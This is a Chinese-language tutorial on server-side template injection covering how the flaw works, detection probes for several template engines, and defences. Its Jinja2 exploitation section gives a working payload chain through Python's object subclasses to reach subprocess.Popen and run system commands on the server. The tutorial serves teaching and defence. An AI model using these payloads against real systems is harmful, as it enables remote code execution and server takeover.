服务器端模板注入(SSTI)漏洞详解
1. 漏洞描述
服务器端模板注入(Server-Side Template Injection, SSTI)是一种发生在Web应用服务器端的安全漏洞。当应用使用模板引擎(如Jinja2、Freemarker、Velocity等)动态生成HTML、邮件等内容时,如果未对用户输入进行严格过滤,攻击者就能将恶意模板代码注入到模板中,并在服务器端执行。这可能导致远程代码执行(RCE)、敏感信息泄露或服务器被完全控制。
2. 漏洞原理
- 模板引擎的作用:模板引擎将静态模板文件与动态数据结合,生成最终的HTML页面。例如,模板中可能包含
{{ username }},渲染时会被实际用户名替换。 - 注入点形成:当用户输入(如URL参数、表单数据)被直接拼接到模板中,而不是作为纯数据传递时,攻击者可以插入模板语法(如
{{ 7*7 }}),如果服务器计算并返回49,说明存在SSTI。 - 危害升级:模板引擎通常支持复杂逻辑(如条件判断、循环、对象调用),攻击者可利用此特性执行系统命令或访问敏感对象。
3. 漏洞检测步骤
-
步骤1:识别模板引擎
尝试在用户输入点(如URL参数)提交简单模板语法:- Jinja2(Python):
{{ 7*7 }}→ 若返回"49",可能为Jinja2。 - Twig(PHP):
{{ 7*7 }}或{{ 7*'7' }}→ 观察返回值。 - Freemarker(Java):
${7*7}→ 返回"49"则可能为Freemarker。
注意:不同引擎语法差异较大,需多次尝试。
- Jinja2(Python):
-
步骤2:确认注入点
若输入{{ 7*7 }}后看到数字49,或输入{{ 'abc' }}后看到字符串"abc",说明用户输入被当作模板代码执行。 -
步骤3:错误信息分析
提交无效语法(如{{ {{ }}),观察是否返回模板引擎的错误信息(如Jinja2的"TemplateSyntaxError"),进一步确认引擎类型。
4. 漏洞利用详解(以Jinja2为例)
-
步骤1:访问Python内置类
Jinja2模板中,所有Python对象可通过类继承关系访问基类。例如:
{{ ''.__class__ }}→ 返回字符串对象的类(<class 'str'>)。
{{ ''.__class__.__mro__ }}→ 查看类的继承链(包括object基类)。 -
步骤2:获取危险子类
通过基类object的子类,找到可执行命令的类(如os._wrap_close):
{{ ''.__class__.__mro__[1].__subclasses__() }}→ 列出所有子类,搜索如<class 'subprocess.Popen'>的索引号。 -
步骤3:执行系统命令
假设子类列表第100项为Popen:
{{ ''.__class__.__mro__[1].__subclasses__()[100]('whoami', stdout=-1).communicate() }}→ 执行whoami命令并返回结果。
注:实际索引需根据目标环境调整。
5. 防御措施
- 输入过滤:对用户输入进行严格白名单验证,禁止输入包含模板语法字符(如
{{ }},${})。 - 沙箱环境:限制模板引擎的访问能力,禁用危险函数或类(如Jinja2的
os模块)。 - 逻辑分离:确保用户输入始终作为数据传递(如模板变量
{{ data }}),而非代码(如{{ user_input }})。 - 静态模板:避免动态拼接模板内容,优先使用预定义模板结构。